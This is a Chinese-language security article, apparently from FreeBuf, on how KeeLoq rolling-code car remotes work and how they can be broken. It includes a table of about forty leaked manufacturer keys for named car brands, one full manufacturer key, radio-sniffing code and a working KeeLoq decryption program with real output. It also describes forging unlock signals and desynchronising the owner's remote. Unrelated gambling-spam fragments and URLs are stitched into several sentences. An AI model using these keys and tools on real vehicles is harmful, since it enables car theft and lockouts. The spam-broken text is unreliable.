前言
所謂滾動碼(Rolling code)
是我們嗅探汽車遙控發射出來的射頻信號,發現每一次的射頻信號都是不一樣的,並且每個信號只能被使用一次,這就是被稱爲滾動碼的原因,本文以Keeloq
舉例,從設備工作頻點,遙控信號編碼,信號傳輸協議格式,來介紹滾動碼是如何工作的,在介紹一下產生滾動碼中最重要的Keeloq加解密算法
,以及Keeloq算法中使用的編碼祕鑰生產規則
,加密中廠商祕鑰泄露
的問題,到最後教大家如何打造一個像HackCube-Special
的安全研究硬件去對滾動碼進行安全研究。xise
設備工作場景
滾動碼
相比於固定碼
較爲安全一些,因此被部署到需要更強的安全性
的設備上,例如車庫門
,住戶門禁
,拉伸門
之類的用的最多的估計就是汽車
上面了,目前市面上的汽車
基本都是採用滾動碼
的,所謂的滾動碼其實遙控每一次發射的數據都是唯一
且不重複
的,因爲數據是被經過加密
後的密文
在發射出來的,通常我們抓數據分析後會發現兩次數據中會發生非常大的變化,目前已知在遙控器上常用的加密算法分別爲Keeloq
,Hitag2
。http://caidaome.com/
射頻頻點
將GQRX
設置在常用的幾個頻點上觀察頻譜圖來確定遙控工作的頻點,通常的工作在315Mhz
,433Mhz
極個別的會採用868Mhz,915Mhz這幾個頻點,然後觀察433.92Mhz
附近的頻譜圖
在遙控發射信號時候可以很明顯的看到這個頻譜的變化:
我們也可以通過遙控上的FCC ID
在相關網站上查詢設備的一些信息,或者是通過遙控上標註
的信息,通過這個基本可以確定這個遙控工作的頻點
和採用的調製方式
等等,實在不行還能查看PCB板子上的晶體振盪器
來算出頻率等等。騰訊分分彩
信號波形
我們將採樣的原始數據導入audacity
就可以看到遙控的信號大概是這樣的,可以通過採樣時候的頻譜和波形看出來我們採用的鑰匙是經過ASK調製
,其中前導碼
作用是讓汽車知道將有信號到來注意接收,其中同步引導碼
的作用是同步時間,但是在後面審計程序代碼中發現程序把這一段同步引導碼
來確定信號的有效性
的,然後數據傳輸後會將滾動碼序列號功能碼狀態碼一併發送,間隔時間是擔心干擾的原因讓汽車沒有接收到信號所以鑰匙會把信號重複發射3-4次,間隔時間就是重複信號的間隔時間,這就是整個鑰匙的週期。http://tatawed.com/
編碼規則
上圖是Bit
編碼的格式一個Bit
佔3TE
,2個TE高電平信號1個TE低電平信號爲Bit0
,1個TE高兩個TE低爲Bit1
,先發送Lsb 下面爲解碼實例,假設二進制數據爲01011110
因爲先發送最低有效位,所以二進制數據是0111 1010
然後二進制轉化成十六進制爲0x7A
。
根據每個芯片型號來決定發送數據格式
和內容,但都是大同小異本文以HC201
舉例。騰訊分分彩
當按下對應的功能鍵(打開車門)
時程序會將對應的4Bit功能碼
,2Bit溢出碼
,10Bit識別碼
,16Bit同步計數值
通過Keeloq加密
生成出所謂的滾動碼
,這就是開頭32bit 滾動碼
4Bit 功能碼
:代表信號執行什麼功能,當信號合法就執行對應的功能如打開車門
,在固定碼區域也傳輸着4Bit 功能碼,但最後還是根據32Bit滾動碼中的功能碼來執行;2Bit 溢出碼
:作用是當同步計數值到達65535+1後溢出碼增一同步計數值清零,但在審計代碼中發現並沒有使用該溢出碼;10Bit 識別碼
:此碼是取28Bit序列號
中最後10Bit
作爲設備的識別碼;16Bit 同步計數值
:每次判斷信號合法後汽車執行對應功能並將同步計數值保存下來,當新的信號到來會對比汽車保存的同步計數值,如果小於或者等於將判斷信號非法,不執行任何操作,當大於保存的同步計數值,汽車執行對應功能並將同步計數值保存下來,這個在驗證作爲最關鍵的一環,這就是爲什麼汽車能防止重放攻擊
的關鍵;28Bit序列號
:相當於每一個遙控都有一個獨立的ID
,在出廠時就會讓汽車進入學習模式來保存這遙控的id和同步計數值,以後汽車可以根據此id來判斷是否與汽車內部存儲器中存儲的ID一致,一致爲合法設備
。一輛汽車可以學習多個ID;4Bit功能碼
:作用是傳輸着對應的功能如打開車門,打開行李箱等等最多代表16種功能,但在後面測試中發現汽車會根據32Bit滾動碼
中的功能碼爲準;2Bit狀態碼
:1Bit表示電池是處於一種低電壓狀態就是表示電池快沒電了,另外1Bit代表信號是否是重複的,前面有說的設備會根據鍵入的時長來發送多段信號,這就是表示信號的重複可以從上面介紹來看到;最關鍵的一步就是通過64Bit
的編碼祕鑰
將同步計數值,識別碼,功能碼
進行加密的步驟,其中使用的就是Keeloq算法。
Keeloq 加密算法
現在我們來了解下這個Keeloq算法:
加密流程如圖所示,首先定義一個非線性表,這個非線性表
有5Bit
的輸入碼在數據寄存器中間隔均勻的取Bit31,Bit26,Bit20,Bit9,Bit1
總共五個Bit通過NLF(Nonlinear Logic Function)0x3A5C742E
產生1Bit
的輸出碼,然後輸出碼在在與Bit16,Bit0
與祕鑰中的Bit0
進行異或運算
生成1Bit
加密數據,然後每次生成出加密數據,祕鑰位和數據位都會進行移位,祕鑰作爲循環移位,加密數據作爲數據移位,重複上述步驟528
次後,得到4字節密文
。
解密運算方式與加密過程的運算方法基本一樣,只是將輸入碼改變成Bit30,Bit25,Bit19,Bit8,Bit0
,總共五個Bit通過NLF (Nonlinear Logic Function)0x3A5C742E
產生1Bit
的輸出碼,然後1Bit
輸出碼和Bit31
與Bit15
和祕鑰中的Bit15
進行異或運算
產生出1Bit
的解密數據,然後每次生成出解密數據,祕鑰位和數據位都會進行位移,祕鑰作循環移位,解密數據作爲移位輸入然後重複528
輪還原4字節明文
,可以看出算法中最主要的就是64Bit的編碼祕鑰
。
Keeloq 編碼祕鑰生產算法
我們來看看這個這個編碼祕鑰生成的機制是什麼:
簡單加密,直接把廠商祕鑰當做設備的編碼祕鑰了。
標準祕鑰
生成算法假設序列號爲0x1234567
,通過標準的祕鑰生成算法來定的話,首先會拿2+序列號
通過Keeloq的解密
操作得到32Bit
的Lsb
爲0x89074278
,然後在拿6+序列號
通過Keeloq的解密
操作得到32Bit Msb
值爲: 0x0516FBE9
哪這個遙控的編碼祕鑰爲 0x0516FBE989074278
,與簡單加密不同的是,使用簡單加密的廠商生產出來的每個設備編碼的祕鑰都是相同
的,而使用標準祕鑰
生成的根據每個遙控祕鑰都不會相同
,意思說如果一輛車上學習了兩個遙控,這兩個遙控的編碼祕鑰都不是一樣的。
安全祕鑰生成算法假設序列號
爲0x1234567
,種子碼
爲0x12345678
,這個種子碼是隨機
的,每個遙控的種子碼都是不一樣的,首先會用種子碼進行keeloq解密
操作得到32Bit
的Lsb
值爲:0x188646d6
,然後在拿6+序列號
通過Keeloq的解密
操作得到32Bit Msb
值爲:0xC3C83DA8
哪這個遙控的編碼祕鑰爲 0xC3C83DA8188646d6
。簡單說下這三種加密算法
的區別,首先是簡單加密直接拿廠商祕鑰加密的話如果是通過側信道攻擊
,可以獲取到廠商祕鑰
,直接可以對其他的設備進行解密操作,然後如果是標準祕鑰生成算法,因爲每個遙控序列號都是不同的所以生出來的祕鑰也是不同的如果使用側信道攻擊只能獲取到編碼祕鑰就是隻對這個設備有用然而對其他的設備都沒有效果的,但是如果廠商祕鑰被其他人獲取了,因爲發送信號時候會帶着28Bit的序列號
,所以只要別人拿到了這個廠商祕鑰
就能解密信號
,而安全祕鑰生成算法
就不同了,即使是廠商祕鑰
被別人知道了,也只能拿到前32位祕鑰
,後32位是根據種子碼
生成的,而種子碼又是隨機生成的,如果是hcs301那就要按住四個鍵纔會把種子碼給發射出來,這個種子碼只有在學習模式下遙控才需要發射出來給汽車保存,之後就在也不會發射出這個種子碼
了。三種祕鑰生成算法各不相同,很多廠商爲了貪方便和效率認爲只要有加密就可以,沒有仔細的瞭解這三種的區別導致了安全隱患,這祕鑰一旦被其他人獲取,除了使用了安全祕鑰生成算法能確保安全性,市面上的使用簡單和標準生成算法的廠商,一旦廠商祕鑰被泄露,所生產出出來的設備將不在安全,並且目前大多數是沒有聯網功能的,如果要升級程序更新祕鑰和新的算法只能將設備回廠重新燒錄或者找附近的4s店,大多數廠商因爲成本和擔心發生召回等事件後對名氣之類的有負面影響,大多數廠商都是像鴕鳥一樣把頭埋在沙子了,假裝聽不到,一般的用戶是沒有辦法自己升級設備程序的能力的,最關鍵的一環就是廠商祕鑰,下面來講講下廠商祕鑰的問題。http://tatawed.com/
廠商祕鑰提取
一般通過獲取遙控配套的解碼IC就是接收端中的解碼IC,通過解碼ic的型號查專門的單片機解密廠商把芯片焊下來然後給專門的單片機解密的廠商通過技術手段和專業的儀器將程序讀出來,以HCS301
舉例,一般配套的解碼ic就是TDH6301
,解碼IC芯片FLASH or EEPROM種程序都是不可讀的,但是可以通過一些技術手段將燒寫的文件給讀出來,這項技術被稱爲單片機解密,也有講單片機破解,單片機攻擊,MCU解密,MCU破解等等,將燒寫的程序讀出來後就可以自己複製和燒寫到全新的芯片上這被廣泛的用於山寨,如上圖爲HCS201的開蓋圖,因爲實驗室顯微鏡只能發大到這個倍度並不能清晰的看到電路圖,但是需要注意的是用這種方式讀出來的程序是經過編譯後的,並不能直接獲取到源碼,但是可以通過提取的程序來和配套的發射端來分析出廠商祕鑰
,不是編碼祕鑰
,意思說只要不是使用安全祕鑰模式
的設備都是有一定風險
,只是破解成本的問題,破解一款芯片成本爲幾千至上萬元不等。其實在市面已經發現不止一家廠商已經做出了相關的產品但是這類產品只是作爲匹配或者生成出對應汽車廠商的遙控好讓車主在原有遙控的基礎上增加多一把遙控,或者是在車主丟失遙控的情況生成出遙控降低去4S更換遙控的成本,但這類型的產品安全性往往令人堪憂,作者就從一款遙控生成的設備上提取到了三十多個廠商的代碼,涉及有百款左右的汽車。
• 0• • 鐵將軍• HOP• CARD• B3E57139• 00• • NORMAL• HCS201
• 1• • F3• HOP• CARD• 20065679• 00• • SINGLE• HCS301
• 2• • 霍絲• HOP• DOOR• 84551223• 00• • SINGLE• HCS301
• 3• • 凱越• HOP• CARD• 0000579a• 01• • SINGLE• HCS301
• 4• • 長城哈佛• HOP• CARD• 19980319• 00• • NORMAL• HCS301
• 6• • 興達• HOP• CARD• 01231f2c• 00• • NORMAL• HCS301
• 7• • 馳普雷特• HOP• DOOR• 822040AF• 00• • NORMAL• HCS301
• 8• • SPARK• HOP• CARD• 68697554• 00• • SINGLE• HCS301
• 9• • SEG• HOP• CARD• 88772211• 00• • SINGLE• HCS301
• 10• • 紅旗• HOP• CARD• 9871ba15• 02• • SINGLE• HCS301
• 11• • 長安奔奔• HOP• CARD• abcd5556• 00• • NORMAL• HCS301
• 12• • 東南藍瑟• HOP• CARD• ffffcdef• 00• • NORMAL• HCS301
• 13• • 比亞迪F0• HOP• CARD• 20061579• 00• • SINGLE• HCS301
• 14• • 霍絲2型• HOP• DOOR• ABCD0001• 00• • SINGLE• HCS301
• 15• • 江鈴• HOP• CARD• 00000038• 00• • SINGLE• HCS301
• 16• • 吉利自由艦• HOP• CARD• 75730750• 00• • SINGLE• HCS301
• 17• • 愛麗舍• HOP• CARD• 39EF4226• 0C• • SINGLE• HCS301
• 18• • 江鈴寶典• HOP• CARD• 19720719• 08• • SINGLE• HCS301
• 19• • 新賽格• HOP• CARD• 0000AAAA• 00• • NORMAL• HCS301
• 20• • 漳州車庫• HOP• CARD• FF7F8D77• 00" • SINGLE• HCS301
• 21• • SONATA• HOP• CARD• 4841464C• 00• • NORMAL• HCS301
• 22• • 哈佛315• HOP• CARD• 20632891• 00• • SINGLE• HCS301
• 23• • 威志• HOP• CARD• 267E0000• 02• • SINGLE• HCS301
• 24• • 別克(凱越/樂風/樂騁)• HOP• CARD• 2A5A5F45• 00" • NORMAL• HCS301
• 25• • 吉利LG-1(國內版)• HOP• CARD• 4BA685C3• 00" • NORMAL• HCS301
• 26• • 華泰聖達菲• HOP• CARD• 97896EF4• 00" • NORMAL• HCS301
• 27• • 柳州五菱宏圖• HOP• CARD• 2A5A5F34• 00" • NORMAL• HCS301
• 28• • 本田理念• HOP• CARD• BDFEEACE• 00" • NORMAL• HCS301
• 29• • 威志V2• HOP• CARD• E66AF7DE• 00" • NORMAL• HCS301
• 30• 解放J6(不確定)• HOP• CARD• 51275230• 00" • SINGLE• HCS301
• 31• 海馬福美來(紅燈)• HOP• CARD• E6FC9BDF• 00" • NORMAL• HCS301
• 32• • 車庫通用• HCS101• DOOR• 39f1284• 00• • SINGLE• HCS301
• 33• 解放J6(紅燈常亮)• HOP• CARD• A0E098AB• 00" • NORMAL• HCS301
• 34• 衆泰(2012款)• HOP• CARD• 568563dd• 00" • SINGLE• HCS301
• 35• • 江淮瑞風• HOP• CARD• 562156ab• 00" • NORMAL• HCS301
• 36• • 力帆620• HOP• CARD• E074EE78• 00" • SINGLE• HCS301
• 37• • 宇通客車乘客門• HOP• CARD• 5875fd10• 00" • SINGLE• HCS301
• 38• • 海馬M3• HOP• CARD• 2455b2c1• 00" • SINGLE• HCS301
• 39• • 森雅M80/S80/佳寶V80(2014款)• HOP• CARD• 54639def• 00" • NORMAL• HCS301
• 40• • 別克君越(06~09款)• HOP• CARD• 1952a8de• 00" • SINGLE• HCS301
據我所知要想修復該問題必須要在汽車和遙控兩端更新程序,除非是更新汽車端的接收程序並更換新的遙控設備,如有從業者可以探討一下修復的方案。
風險演示設備
講完祕鑰泄露
的事,我們要對這個遙控信號進行嗅探,這裏我們使用的TI推出的CC1101
射頻芯片,主控端我是使用ATmega32u4
對射頻模塊進行配置,我們這裏是用的是CC1101
的異步接收模式
,使用CC1101
的GDO2
用來接收信號數據下面會詳細的講講:
#define CC1101_Keeloq_IOCFG2 0x29
#define CC1101_Keeloq_IOCFG1 0x2E
#define CC1101_Keeloq_IOCFG0 0x06
#define CC1101_Keeloq_FIFOTHR 0x47
#define CC1101_Keeloq_SYNC1 0xD3
#define CC1101_Keeloq_SYNC0 0x91
#define CC1101_Keeloq_PKTLEN 0xFF
#define CC1101_Keeloq_PKTCTRL1 0x00
#define CC1101_Keeloq_PKTCTRL0 0x30
#define CC1101_Keeloq_ADDR 0x00
#define CC1101_Keeloq_CHANNR 0x00
#define CC1101_Keeloq_FSCTRL1 0x06
#define CC1101_Keeloq_FSCTRL0 0x00
#define CC1101_Keeloq_MDMCFG4 0xF8
#define CC1101_Keeloq_MDMCFG3 0x93
#define CC1101_Keeloq_MDMCFG2 0x33
#define CC1101_Keeloq_MDMCFG1 0x22
#define CC1101_Keeloq_MDMCFG0 0xF8
#define CC1101_Keeloq_DEVIATN 0x00
#define CC1101_Keeloq_MCSM2 0x07
#define CC1101_Keeloq_MCSM1 0x20
#define CC1101_Keeloq_MCSM0 0x18
#define CC1101_Keeloq_FOCCFG 0x16
#define CC1101_Keeloq_BSCFG 0x6C
#define CC1101_Keeloq_AGCCTRL2 0x00
#define CC1101_Keeloq_AGCCTRL1 0x40
#define CC1101_Keeloq_AGCCTRL0 0x91
#define CC1101_Keeloq_WOREVT1 0x87
#define CC1101_Keeloq_WOREVT0 0x6B
#define CC1101_Keeloq_WORCTRL 0xFB
#define CC1101_Keeloq_FREND1 0x56
#define CC1101_Keeloq_FREND0 0x11
#define CC1101_Keeloq_FSCAL3 0xE9
#define CC1101_Keeloq_FSCAL2 0x2A
#define CC1101_Keeloq_FSCAL1 0x00
#define CC1101_Keeloq_FSCAL0 0x1F
#define CC1101_Keeloq_RCCTRL1 0x41
#define CC1101_Keeloq_RCCTRL0 0x00
#define CC1101_Keeloq_FSTEST 0x59
#define CC1101_Keeloq_PTEST 0x7F
#define CC1101_Keeloq_AGCTEST 0x3F
#define CC1101_Keeloq_TEST2 0x81
#define CC1101_Keeloq_TEST1 0x35
#define CC1101_Keeloq_TEST0 0x0B
這個是根據遙控生成的CC1101
寄存器的配置,可以通過SmartRF Studio
配置完參數後導出,在CC1101
的datasheet
中對這些寄存器的作用有非常詳細的介紹:
//參考datasheet寫的一個設置工作射頻頻率的函數,可以使用SmartRF Studio計算得出
void setfreq(unsigned long int freq) {
unsigned long freqnum = freq / 396.734569;
byte freqx[3];
freqx[0] = freqnum;
freqx[1] = freqnum >> 8;
freqx[2] = freqnum >> 16;
cc1101.writeReg(CC1101_FREQ2, freqx[2]); //計算出工作頻率後寫入相關的寄存器
cc1101.writeReg(CC1101_FREQ1, freqx[1]); //計算出工作頻率後寫入相關的寄存器
cc1101.writeReg(CC1101_FREQ0, freqx[0]); //計算出工作頻率後寫入相關的寄存器
}
void RF433_Keeloq() {
cc1101.SS_PIN = RF433_CS; //設置芯片SPI片選引腳
cc1101.init(); //設置射頻芯片基礎寄存器設置
setfreq(433920000); //設置工作射頻頻率
cc1101.cmdStrobe(CC1101_SRX); //進入接收模式
cc1101.writeReg(CC1101_IOCFG2, 0x0d); //使CC1101的GDO2引腳成異步數據輸出模式
cc1101.writeReg(CC1101_MDMCFG4, 0xc8); //設置速率(9.5K)
cc1101.writeReg(CC1101_MDMCFG3, 0x93); //設置速率(9.5K)
}
在cc1101.init()
函數中將剛剛的射頻配置寫入CC1101
的相關寄存器中,然後我們挑幾個關鍵的講講,setfreq
函數用於將CC1101
設置在遙控器的工作頻率上,然後通過SPI
發送CC1101_SRX
指令,使其進入接收數據的狀態中,然後通過配置IOCFG2.GDO2_CFG
這個寄存器,使CC1101
的GDO2
輸出異步串行數據(類似於網上那種超在生的接收模塊),用了這種異步接收模式後
就不能使用數據包處理,FIFO緩存
之類的了,簡單的說就是將這個ASK
的信號解調後通過CC1101
的GDO2
的IO將數據輸出到與單片機鏈接的引腳中,這樣的好處是接收信號的寬容度高,可以接收多種協議的信號只要在單片機進行處理就可以了,並且可以接收不同速率的兩個信號,我舉個例子吧。上面這個的是我通過HackRF
接收到的原始數據導入到Audacity
中的數據,然後下面這個是通過邏輯分析儀
接到CC1101的GDO2
引腳後的輸出波形,然後我們可以看出這個信號被CC1101
解調後輸出爲數字信號了,然後我們就可以直接對這個數字信號進行處理解碼下來:
/
receive Keeloq data
/
#include
HackRadio Hackradio = HackRadio();
void Setup(){
RF433_Keeloq(); //對CC1101進行配置
Hackradio.enableReceive(RF433_att); //設置庫調用的中斷引腳 attachInterrupt(RF433_att, handleInterrupt, CHANGE);
}
void loop() {
if (Hackradio.available()) {
detachInterrupt(RF433_att); //禁用中斷引腳
Cube_PRINT.print("data:");
Cube_PRINT.print(Hackradio.getkey()); //串口打印滾動碼數據
Cube_PRINT.print(";Serial Number:");
Cube_PRINT.print(Hackradio.getsn()); //串口打印序列號數據
Hackradio.resetAvailable(); //重置接收狀態
Hackradio.enableReceive(RF433_att); //打印完數據後在啓用中斷引腳
}
}
然後根據RCSwitch
寫了一個類似類似接收Keeloq
信號的庫,原理就是通過arduino
單片機的attachInterrupt
中斷函數每次數字信號的電平發生變化時候,進入到handleInterrupt中斷處理函數
,將每次的時間記錄下來,可以參考之前寫的固定碼
的那一篇文章,然後在接收到兩段信號之間的間隔時間後對之前中斷保存的時間進行判斷,然後就可以對存下來的時間進行解碼了:然後這個就是我接收一個鐵將軍品牌的遙控爲例進行接收,這個是通過邏輯分析儀接到CC1101
上的GDO2
引腳的波形,然後這個數據的協議在前面有介紹到,這裏就不過多的講了。然後我們按照之前說的編碼規則,對存下來的每兩個時間進行判斷波形,就可以解碼得到10000010101110111001001101001000
這一串二進制
數據在轉成十六進制``82bb9348
這個就是Keeloq加密
後的滾動碼
數據了。相同道理我們得到序列號二進制
數據0011100100011000001011011010
然後在轉成十六進制
,得到序列號數據39182da
,然後我們就可以對這個滾動碼數據進行解密了:
#include
#include
#include
#define KeeLoq_NLF 0x3A5C742E
#define bit(x,n) (((x)>>(n))&1)
#define g5(x,a,b,c,d,e) (bit(x,a)+bit(x,b)2+bit(x,c)4+bit(x,d)8+bit(x,e)16)
typedef unsigned long int uint32_t;
typedef unsigned long long int uint64_t;
typedef unsigned long u32;
typedef unsigned long long u64;
uint64_t key;
uint32_t KeeLoq_Encrypt (const uint32_t data, const uint64_t key){
uint32_t x = data, r;
for (r = 0; r < 528; r++){
x = (x>>1)^((bit(x,0)^bit(x,16)^(uint32_t)bit(key,r&63)^bit(KeeLoq_NLF,g5(x,1,9,20,26,31)))<<31);
}
return x;
}
uint32_t KeeLoq_Decrypt (const uint32_t data, const uint64_t key){
uint32_t x = data, r;
for (r = 0; r < 528; r++){
x = (x<<1)^bit(x,31)^bit(x,15)^(uint32_t)bit(key,(15-r)&63)^bit(KeeLoq_NLF,g5(x,0,8,19,25,30));
}
return x;
}
int main(int argc,char * argv[]){
unsigned long sn = strtoul(argv[1],NULL,16);
long unsigned int datad,Msb,Lsb,Key_data;
unsigned long data = strtoul(argv[2],NULL,16);
key=0xB3E5625A8CCD7139;
Msb =KeeLoq_Decrypt(sn+0x60000000,key);
Lsb =KeeLoq_Decrypt(sn+0x20000000,key);
Msb=Msb <<32;
Lsb=Lsb <<32;
Lsb=Lsb >>32;
Key_data=Msb+Lsb;
printf("%lX",Key_data);
printf("\n");
datad=KeeLoq_Decrypt(data,Key_data);
datad=datad<<32;
datad=datad>>32;
printf("%lX",datad);
printf("\n");
return 0;
}
遙控是鐵將軍的廠商祕鑰爲B3E5625A8CCD7139
他們所使用的是標準祕鑰生成算法,所以我們先得算出這個的編碼祕鑰
,我們先得使用廠商祕鑰解密639182da(6+序列號)
因此我得到解密數據7D093B66
這個是編碼祕鑰的前一部分,然後我們在用廠商祕鑰解密239182da(2+序列號)
然後算出數據B31C374A
編碼祕鑰的後面一部分,就得到了完整的編碼祕鑰7D093B66B31C374A
,我們就可以通過這個編碼祕鑰去解密滾動碼
的數據了,可以通過我提供的這個程序算出標準祕鑰生成算法的編碼祕鑰了:
./Standard_Keeloq_Decrypt 39182da 82bb9348
7D093B66B31C374A
42DA560F
42DA560F
就是通過剛剛得到的滾動碼82bb9348
解密得來的,這個數據內容就不過多的在講了,說一下這個同步計數值
吧,這個同步計數值用於防止重放攻擊
,因爲每次信號被使用後遙控端會進行遞增該值,接收端(汽車)也會保存這個同步計數值,然後在重放之前的信號的話同步值比之前的小然後接收端就不會識別這個信號了.也因此所以被稱之爲滾動碼,然後我們看看下一個滾動碼的數據:
./Standard_Keeloq_Decrypt 39182da 79a05530
42DA5610
79a05530
就是下一次遙控發射出來的滾動碼的數據內容解密後發現42DA5610
與之前的42DA560F
只有同步計數值的地方發生的改變,但是密文卻有着翻天覆地的變化這就得力於Keeloq
的非線性加密算法了:
./Keeloq_Encrypt 22DA5611
B5E677C9
我們知道祕鑰之後就可以在原本同步計數值的基礎上遞增然後修改功能碼爲解鎖然後帶上序列號發送出去就可以打開車門了,我們甚至可以將同步計數值加上幾萬因此讓原本的遙控失效:可以使用HackCube-Special
嗅探遙控發射出來的數據作爲滾動碼
學習來使用,不會提供解密
,發射
,具有危險性的功能我們的硬件產品預計會在 12 月份月底左右上線, 在我們社區上提交質量不錯的文章是有機會拿到第一時間產品的喲,有任何問題的歡迎在社區上與我們交流。
參考鏈接
http://www.ti.com/lit/ds/symlink/cc1101.pdf
https://www.mouser.com/datasheet/2/268/21143b-64900.pdf
https://www.usenix.org/system/files/conference/usenixsecurity16/sec16_paper_garcia.pdf
http://tech.163.com/16/0812/10/BU8VB5PI00097U7R.html
*本文作者:mobier,轉載請註明來自FreeBuf